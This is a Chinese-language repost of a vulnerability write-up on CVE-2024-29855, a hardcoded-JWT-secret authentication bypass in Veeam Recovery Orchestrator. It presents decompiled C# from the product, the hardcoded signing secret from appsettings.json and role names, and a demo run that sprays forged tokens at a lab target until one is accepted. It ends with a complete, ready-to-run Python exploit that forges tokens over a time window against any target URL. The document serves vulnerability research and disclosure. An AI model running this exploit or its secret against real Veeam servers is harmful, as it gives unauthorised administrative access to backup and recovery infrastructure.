没有秘密 || 利用 Veeam CVE-2024-29855

没有秘密 || 利用 Veeam CVE-2024-29855

Ots安全 2024-06-14 11:39

Veeam 发布了针对影响Veeam Recovery Orchestrator 的身份验证绕过漏洞 CVE-2024-29855 的CVSS 9公告,以下是我对此问题的完整分析和利用,虽然问题并不像听起来那么严重(不要惊慌)但我发现这个漏洞的机制有点有趣,并决定发布我的详细分析和利用。

简介(又是 TLDR)

6 月 10 日,Veeam 发布了一份公告,指出 Veeam Recovery Orchestrator 受到身份验证绕过的影响,允许未经身份验证的攻击者绕过身份验证并以管理员权限登录 Veeam Recovery Orchestrator Web UI。此漏洞的 CVSS 为 9.0

该漏洞是由于用于生成身份验证令牌的 JWT 密钥是一个硬编码值,这意味着未经身份验证的攻击者可以为任何用户(不仅仅是管理员)生成有效令牌并登录 Veeam Recovery Orchestrator。

官方咨询国家:

Veeam Recovery Orchestrator (VRO) 版本 7.0.0.337 中的漏洞 (CVE-2024-29855) 允许攻击者以管理权限访问 VRO Web UI。

注意:攻击者必须知道具有活动 VRO UI 访问令牌的帐户的确切用户名和角色才能完成劫持。

高级.NET利用

如果您很难理解这篇博文,但又想了解 .NET 漏洞利用,我最近公开了我的“高级 .NET 漏洞利用培训”,请注册并让我教您有关 .NET 相关漏洞的所有知识,如身份验证绕过、反序列化、缓解绕过等等。

让我们开始

该漏洞相当简单,使用硬编码的 JWT 密钥来生成和验证用户令牌,以下是令牌生成方法(也称为)的骨架
Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken。人们可以很快注意到,在第 (4) 行,一个字节数组被分配了内容
this._appSettings.Secret。

稍后在第(11)行,这个包含秘密的字节数组用于
Microsoft.IdentityModel.Tokens.SymmetricSecurityKey.SymmetricSecurityKey通过将字节传递给其构造函数来实例化该类。然后将返回的实例传递给
Microsoft.IdentityModel.Tokens.SigningCredentials.SigningCredentials作为其第一个参数,该参数为类型
Microsoft.IdentityModel.Tokens.SecurityKey,对于第二个参数,使用以下值
http://www.w3.org/2001/04/xmldsig-more#hmac-sha256,可以很快地说这就是算法被定义的地方
hmac-sha256。

现在我们有一个已填充的实例,
Microsoft.IdentityModel.Tokens.SecurityTokenDescriptor用于
Microsoft.IdentityModel.Tokens.SecurityToken在第(13)行创建一个,然后该对象被传递给
jwtSecurityTokenHandler.WriteToken发布一个供用户使用的签名令牌。

 1:  public void GenerateJwtToken(ClaimsPrincipal principal, AuthenticateResponse response)
 2:  {
 3:    JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
 4:    byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
 5:    int accessTokenExpireMinutes = this._appSettings.AccessTokenExpireMinutes;
 6:    DateTime dateTime = DateTime.UtcNow.AddMinutes((double)accessTokenExpireMinutes);
 7:    SecurityTokenDescriptor securityTokenDescriptor = new SecurityTokenDescriptor
 8:    {
 9:      Subject = (ClaimsIdentity)principal.Identity,
10:      Expires = new DateTime?(dateTime),
11:      SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(bytes), "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256")
12:    };
13:    SecurityToken securityToken = jwtSecurityTokenHandler.CreateToken(securityTokenDescriptor);
14:    string text = jwtSecurityTokenHandler.WriteToken(securityToken);
15:    AuthorizationTokenStore.AccessTokens.Add(new AuthorizationInfo
16:    {
17:      Id = text,
18:      ClaimIdentity = principal,
19:      ExpiresUtc = new DateTimeOffset?(dateTime)
20:    });
21:    response.access_token = text;
22:    response.expires_in = new TimeSpan(0, 0, accessTokenExpireMinutes, 0).TotalSeconds.ToString(CultureInfo.InvariantCulture);
    }

如果你有兴趣验证提到的参数的类型,可以通过进入 Microsoft .NET 的实现来完成
Microsoft.IdentityModel.Tokens.dll

 1:  using System;
 2:  using System.Security.Cryptography.X509Certificates;
 3:  using Microsoft.IdentityModel.Logging;
 4:  
 5:  namespace Microsoft.IdentityModel.Tokens
 6:  {
 7:  
 8:    public class SigningCredentials
 9:    {
10:  
11:      protected SigningCredentials(X509Certificate2 certificate)
12:      {
13:        if (certificate == null)
14:        {
15:          throw LogHelper.LogArgumentNullException("certificate");
16:        }
17:        this.Key = new X509SecurityKey(certificate);
18:        this.Algorithm = "RS256";
19:      }
20:  
21:  
22:      protected SigningCredentials(X509Certificate2 certificate, string algorithm)
23:      {
24:        if (certificate == null)
25:        {
26:          throw LogHelper.LogArgumentNullException("certificate");
27:        }
28:        this.Key = new X509SecurityKey(certificate);
29:        this.Algorithm = algorithm;
30:      }
31:  
32:  
33:      public SigningCredentials(SecurityKey key, string algorithm)
34:      {
35:        this.Key = key;
36:        this.Algorithm = algorithm;
37:      }

聪明的读者会问,它从哪里来
this._appSettings.Secret?

要回答这个问题,我们可以首先看一下声明
_appSettings,然后看一下它的初始化,下面是定义此类的类型的地方
Veeam.AA.Web.Api.dll!Veeam.AA.Web.Auth.AppSettings。

我们很快就能发现
public string Secret这个类别中我们感兴趣的成员。

 1:  using System;
 2:  
 3:  namespace Veeam.AA.Web.Auth
 4:  {
 5:  
 6:    public class AppSettings
 7:    {
 8:  
 9:      public string Secret { get; set; }
10:  
11:      public int RefreshTokenExpireMinutes { get; set; }
12:  
13:      public int AccessTokenExpireMinutes { get; set; }
14:  
15:      public bool WebDavLogEverything { get; set; }
16:  
17:      public bool WebDavUrlAuthorizationMode { get; set; }
18:    }
19:  }

现在我们需要了解这个类的实例在哪里初始化。以下是
Veeam.AA.Web.Startup.Configure负责处理此 .net 应用程序的初始化例程的方法的实现,而行 (70) 是
AppSettings最终实例化的地方。

public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IApiVersionDescriptionProvider provider, IHostApplicationLifetime applicationLifetime, IProxyGetter proxyGetter)
 1:  {
 2:    Startup.Log.Info(WebApiMessages.MethodInConfigure, Array.Empty<object>());
 3:    CancellationToken cancellationToken = applicationLifetime.ApplicationStopping;
 4:    cancellationToken.Register(delegate
 5:    {
 6:      Startup.Log.Info(WebApiMessages.ApplicationStopping, Array.Empty<object>());
 7:    });
 8:    cancellationToken = applicationLifetime.ApplicationStopped;
 9:    cancellationToken.Register(delegate
10:    {
11:      Startup.Log.Info(WebApiMessages.ApplicationStopped, Array.Empty<object>());
12:    });
13:    if (env.IsDevelopment())
14:    {
15:      app.UseDeveloperExceptionPage();
16:    }
17:    app.UseSwagger(delegate(SwaggerOptions _)
18:    {
19:    });
20:    bool enablePrivateApi = WinRegistryHelper.GetIntValueFromRegistry(WinRegistryHelper.VeeamKeyPath + "Availability Orchestrator", "EnablePrivateApi", -1) != -1;
21:    app.UseSwaggerUI(delegate(SwaggerUIOptions options)
22:    {
23:      options.InjectJavascript("/jquery-3.7.0.min.js", "text/javascript");
24:      options.InjectJavascript("/swagger.custom.js", "text/javascript");
25:      options.InjectStylesheet("/swagger.custom.css", "screen");
26:      options.DefaultModelExpandDepth(0);
27:      options.DefaultModelsExpandDepth(-1);
28:      options.DocExpansion(DocExpansion.None);
29:      for (int i = provider.ApiVersionDescriptions.Count - 1; i >= 0; i--)
30:      {
31:        ApiVersionDescription apiVersionDescription = provider.ApiVersionDescriptions[i];
32:        int? majorVersion = apiVersionDescription.ApiVersion.MajorVersion;
33:        int num = 0;
34:        if (!((majorVersion.GetValueOrDefault() == num) & (majorVersion != null)) || enablePrivateApi)
35:        {
36:          string text = (apiVersionDescription.IsDeprecated ? (apiVersionDescription.GroupName + " - DEPRECATED") : (apiVersionDescription.GroupName ?? "").ToUpperInvariant());
37:          options.SwaggerEndpoint("/swagger/" + apiVersionDescription.GroupName + "/swagger.json", text);
38:        }
39:      }
40:      options.EnableValidator(null);
41:      options.EnableDeepLinking();
42:    });
43:    string contentRootPath = env.ContentRootPath;
44:    PathString pathString = new PathString("");
45:    app.UseDefaultFiles(new DefaultFilesOptions
46:    {
47:      FileProvider = new PhysicalFileProvider(contentRootPath),
48:      RequestPath = pathString
49:    });
50:    app.UseStaticFiles(new StaticFileOptions
51:    {
52:      FileProvider = new PhysicalFileProvider(contentRootPath),
53:      RequestPath = pathString
54:    });
55:    app.UseRouting();
56:    app.UseSession();
57:    app.UseCors(delegate(CorsPolicyBuilder x)
58:    {
59:      x.AllowAnyMethod().AllowAnyHeader().AllowCredentials();
60:    });
61:    Startup.AccessValidator accessValidator = new Startup.AccessValidator(proxyGetter);
62:    accessValidator.SetAccessRoles(new string[] { "DRSiteAdmin" });
63:    NotificationServiceOptions pushServerOptions = new NotificationServiceOptions
64:    {
65:      AccessValidator = accessValidator
66:    };
67:    app.UseNotificationService(pushServerOptions);
68:    app.UseAuthentication();
69:    app.UseAuthorization();
70:    AppSettings value = app.ApplicationServices.GetRequiredService<IOptions<AppSettings>>().Value;
71:    app.UseWebDavHandlerMiddleware(value.WebDavLogEverything, value.WebDavUrlAuthorizationMode);
72:    app.UseEndpoints(delegate(IEndpointRouteBuilder endpoints)
73:    {
74:      endpoints.MapControllers();
75:      endpoints.MapHub(pushServerOptions.FullSignalRUrl + "/notificationsHub");
76:    });
77:    Startup.Log.Info(WebApiMessages.MethodOutConfigure, Array.Empty<object>());
78:  }

填充此类成员的值取自以下文件appsettings.json,让我们看一下该文件内部。

我们可以很快地知道Secret密钥包含 JWT 秘密,而该产品的问题在于 JWT“秘密”值始终保持“相同”(在最新补丁之前)

{
  "AppSettings": {
    "Secret": "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI=",
    "RefreshTokenExpireMinutes": 120,
    "AccessTokenExpireMinutes": 15,
    "WebDavLogEverything": "false",
    "WebDavUrlAuthorizationMode": "false"
  },
  "Vcf": {
    "Host": "localhost",
    "Port": 12348,
    "ReconnectInterval": "0.00:01:00"
  },
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*"
}

现在我们了解了 JWT 令牌是如何生成的,人们可能会快速继续生成令牌,但对于这个产品,它不起作用,实际上有一些有趣的事情导致 CVSS 从 CVSS 9.8 下降到 CVSS 9,原因如下。

让我们看一下负责验证提供的 JWT 令牌的方法,该方法位于
Veeam.AA.Web.Auth.JwtUtils.ValidateJwtToken

此方法的机制很简单,它期望以字符串形式传递一个令牌,然后继续创建我们在令牌生成部分讨论的类的实例(第 7 行),然后在第(8)行通过引用并将其值加载到字节数组中来
JwtSecurityTokenHandler加载相同的硬编码 JWT 机密,然后(第 9 行)定义一个实例。
this._appSettings.Secret 、
ClaimsPrincipal

包含机密的字节数组用于实例化,
SymmetricSecurityKey其返回值用于填充
IssuerSigningKey成员属性,
TokenValidationParameters其本身是传递给的第二个参数,用于
jwtSecurityTokenHandler.ValidateToken验证已作为第一个参数传递的用户令牌,如果令牌通过验证,则将
out securityToken包含已验证的令牌,以防从内部引发验证异常,则第
Microsoft.IdentityModel.Tokens.SecurityTokenHandler.ValidateToken( catch26) 行的块用于捕获异常并分配
null给先前定义的
claimsPrincipal变量,意味着令牌无效。

但是,敏锐的眼睛可能会注意到这里的一些重要的东西,如果没有引发异常,那么在第(23)行,提供的令牌将被传递给
AuthorizationTokenStore.AccessTokens.Get 类型的对象,
AuthorizationInfo这种类型也称为
Veeam.AA.Web.Auth.Models.AuthorizationInfo。

如果返回的值
AuthorizationTokenStore.AccessTokens.Get不等于,
null则最终
claimsPrincipal填充并返回给调用者以告知令牌有效。

但是什么
AuthorizationTokenStore.AccessTokens.Get?

 1:  public ClaimsPrincipal ValidateJwtToken(string token)
 2:  {
 3:    if (token == null)
 4:    {
 5:      return null;
 6:    }
 7:    JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
 8:    byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
 9:    ClaimsPrincipal claimsPrincipal;
10:    try
11:    {
12:      SecurityToken securityToken;
13:      jwtSecurityTokenHandler.ValidateToken(token, new TokenValidationParameters
14:      {
15:        ValidateIssuerSigningKey = true,
16:        IssuerSigningKey = new SymmetricSecurityKey(bytes),
17:        ValidateIssuer = false,
18:        ValidateAudience = false,
19:        RequireExpirationTime = true,
20:        ValidateLifetime = true,
21:        ClockSkew = TimeSpan.Zero
22:      }, out securityToken);
23:      AuthorizationInfo authorizationInfo = AuthorizationTokenStore.AccessTokens.Get(token);
24:      claimsPrincipal = ((authorizationInfo != null) ? authorizationInfo.ClaimIdentity : null);
25:    }
26:    catch
27:    {
28:      claimsPrincipal = null;
29:    }
30:    return claimsPrincipal;
31:  }

不再赘述,简单来说,访问
AuthorizationTokenStore.AccessTokens.Get内存中的对象列表,这个对象列表显然存储了对象,但对于我们的目的而言,它包含先前颁发的 JWT 令牌列表,这非常重要,您问为什么呢?好吧,即使我们设法(滥用)使用硬编码的 JWT 密钥来生成有效令牌,如果该令牌实际上不是在过去颁发的,则返回会
AuthorizationTokenStore.AccessTokens.Get导致
null也会
authorizationInfo导致并且
null令牌验证也会失败。
claimsPrincipal、null

 1:  using System;
 2:  using System.Collections.Concurrent;
 3:  using System.Collections.Generic;
 4:  using System.Linq;
 5:  using System.Linq.Expressions;
 6:  using System.Reflection;
 7:  
 8:  namespace Veeam.AA.Web.Auth
 9:  {
10:  
11:  public class InMemoryObjectList<TEntity> where TEntity : class
12:  {
13:  
14:    public InMemoryObjectList()
15:    {
16:      this.CreateIdGetter();
17:    }
18:  
19:  
20:    private Func<TEntity, object> CreateIdGetter()
21:    {
22:      Type typeFromHandle = typeof(TEntity);
23:      PropertyInfo property = typeFromHandle.GetProperty("Id");
24:      if (property == null)
25:      {
26:        throw new ArgumentException("Entity must have Id property");
27:      }
28:      ParameterExpression parameterExpression = Expression.Parameter(typeFromHandle, "param");
29:      Expression expression = Expression.Convert(Expression.Property(parameterExpression, property), typeof(object));
30:      LambdaExpression lambdaExpression = Expression.Lambda(expression, new ParameterExpression[] { parameterExpression });
31:      this._idGetter = lambdaExpression.Compile() as Func<TEntity, object>;
32:      return this._idGetter;
33:    }
34:  
35:  
36:    public void Add(TEntity entity)
37:    {
38:      object obj = this._idGetter(entity);
39:      this._collection.TryAdd(obj, entity);
40:    }
41:  
42:  
43:    public TEntity Get(object id)
44:    {
45:      if (this._collection.ContainsKey(id))
46:      {
47:        return this._collection[id];
48:      }
49:      return default(TEntity);
50:    }
51:  
52:  [..SNIP..]

为了演示内存中的对象列表是什么样子的,以下是
list经过多次身份验证请求后的运行时内容,该列表包含多个有效的 JWT 令牌的管理员会话

这正是 Veeam 官方咨询所指的(可以这么说)

他们声称,这种利用需要满足三个条件:
– 知道用户名

  • 了解角色

  • 目标具有活动会话

这是事实,这就是为什么这个问题的可利用性有点牵强,我同意这一点,但如你所知,我在这里是为了让这件事变得更有可能(只是一点点)

首先,“知道用户名”问题“有点”可以通过以下解决方案解决,假设存在一个名为的用户,
[email protected]可以通过查看 SSL 证书的字段找到域名
CN,并且可以对用户名进行喷洒,虽然有点蹩脚,但这就是我们现在所拥有的

其次,“知道”角色本身就是个笑话,经过进一步的逆向,我得出结论,角色可能的值只有 5 个,下面是这些角色的定义

 1:  using System;
 2:  using System.Collections.Generic;
 3:  using System.Runtime.CompilerServices;
 4:  
 5:  namespace Veeam.AA.Common.Security
 6:  {
 7:  [NullableContext(1)]
 8:  [Nullable(0)]
 9:  public static class RoleNames
10:  {
11:    public const string Anonymous = "Anonymous";
12:  
13:    public const string Administrator = "DRSiteAdmin";
14:  
15:    public const string PlanAuthor = "DRPlanAuthor";
16:  
17:    public const string PlanOperator = "DRPlanOperator";
18:  
19:    public const string SetupOperator = "SiteSetupOperator";
20:  
21:    public static IReadOnlyCollection<string> AllRoles = new string[] { "DRSiteAdmin", "DRPlanAuthor", "DRPlanOperator", "SiteSetupOperator" };
22:  }
23:  }

第三,目标具有活动会话,我们上面讨论过这个,创建的 JWT
Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken存储在 InMemoryObjectList 中,因此用户需要登录。

所以现在的计划很简单,在一段时间内生成有效的 JWT 令牌,并将它们喷洒到服务器上,直到我们获得命中。提供的 PoC 是用 python 编写的,我认为其他语言可以做得更快,我希望一个强大的小伙子或小伙子可以制作一个更快的 poc 并让我知道它。

事情经过如下:

演示

python CVE-2024-29855.py  --start_time 1718264404 --end_time 1718264652 --username [email protected] --target https://192.168.253.180:9898/

 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |

        (*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) 

        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)

        (*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/


(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(INFO) Spraying JWT Tokens: 401
(+) Pwned Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.gpvNsv78cZRt6qelKMIzprAQG_Eva6pKyNLLGIrnXkA, Status code: 200
(+) Response: {"user":"[email protected]","siteName":null,"siteRole":"Unknown","isLogged":true,"formats":{"shortTime":"H:i","longTime":"H:i:s","shortDate":"m/d/Y","shortTimeHR":"HH:mm","longTimeHR":"HH:mm:ss","shortDateHR":"MM/dd/yyyy","firstDayOfWeek":"Sunday"},"roles":["SiteSetupOperator"],"siteScopeRoles":[{"id":"00000000-0000-0000-0000-000000000000","name":"All Scopes","roles":[]}],"displayUserName":"EVILCORP\\Administrator","uiTimeout":3600,"dnsName":"WIN-I61UGP29579.evilcorp.local","domainName":"evilcorp.local"}

概念验证

"""
Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29855)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
"""


banner = r"""
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |

        (*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) 

        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)

        (*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/

        """

""""""

import jwt
import time
import warnings
import requests
import argparse
from concurrent.futures import ThreadPoolExecutor
import signal
import sys

warnings.filterwarnings("ignore")

jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="
counter = 0
def exploit_token(token):
    global counter
    url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData"
    headers = {"Authorization": f"Bearer {token}"}
    try:
        res = requests.get(url, verify=False, headers=headers)
        if(res.status_code == 200):
            print(f"(+) Pwned Token: {token}, Status code: {res.status_code}\n(+) Response: {res.text}")
            counter = 21
            sys.exit(0)
        if(args.debug or counter == 10):
            print(f"(INFO) Spraying JWT Tokens: {res.status_code}")
            counter = 0
    except requests.exceptions.RequestException as e:
        if args.debug:
            print(f"(INFO) Request failed: {e}")

    counter += 1

def generate_token_and_exploit(current_time):
    claims = {
        "unique_name": args.username,
        "role": "SiteSetupOperator",
        "nbf": current_time,
        "exp": current_time + 900,
        "iat": current_time
    }
    encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256")
    exploit_token(encoded_jwt)

def signal_handler(sig, frame):
    print('Interrupted! Shutting down gracefully...')
    executor.shutdown(wait=False)
    sys.exit(0)

if __name__ == "__main__":
    print(banner)
    parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.")
    parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True)
    parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True)
    parser.add_argument("--username", type=str, help="[email protected] or evilcorp\\administrator", required=True)
    parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True)
    parser.add_argument("--debug", action="store_true", help="Enable debug mode")
    args = parser.parse_args()

    start_time = args.start_time
    end_time = args.end_time

    signal.signal(signal.SIGINT, signal_handler)

    with ThreadPoolExecutor() as executor:
        signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))

        current_time = start_time
        while current_time < end_time:
            try:
                executor.submit(generate_token_and_exploit, current_time)
                current_time += 1
            except KeyboardInterrupt:
                print("Keyboard interrupt received, shutting down...")
                executor.shutdown(wait=False)
                sys.exit(0)

参考

https://github.com/sinsinology/CVE-2024-29855

https://www.veeam.com/kb4585

There Are No Secrets || Exploiting Veeam CVE-2024-29855
https://summoning.team/blog/veeam-recovery-orchestrator-auth-bypass-cve-2024-29855/

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里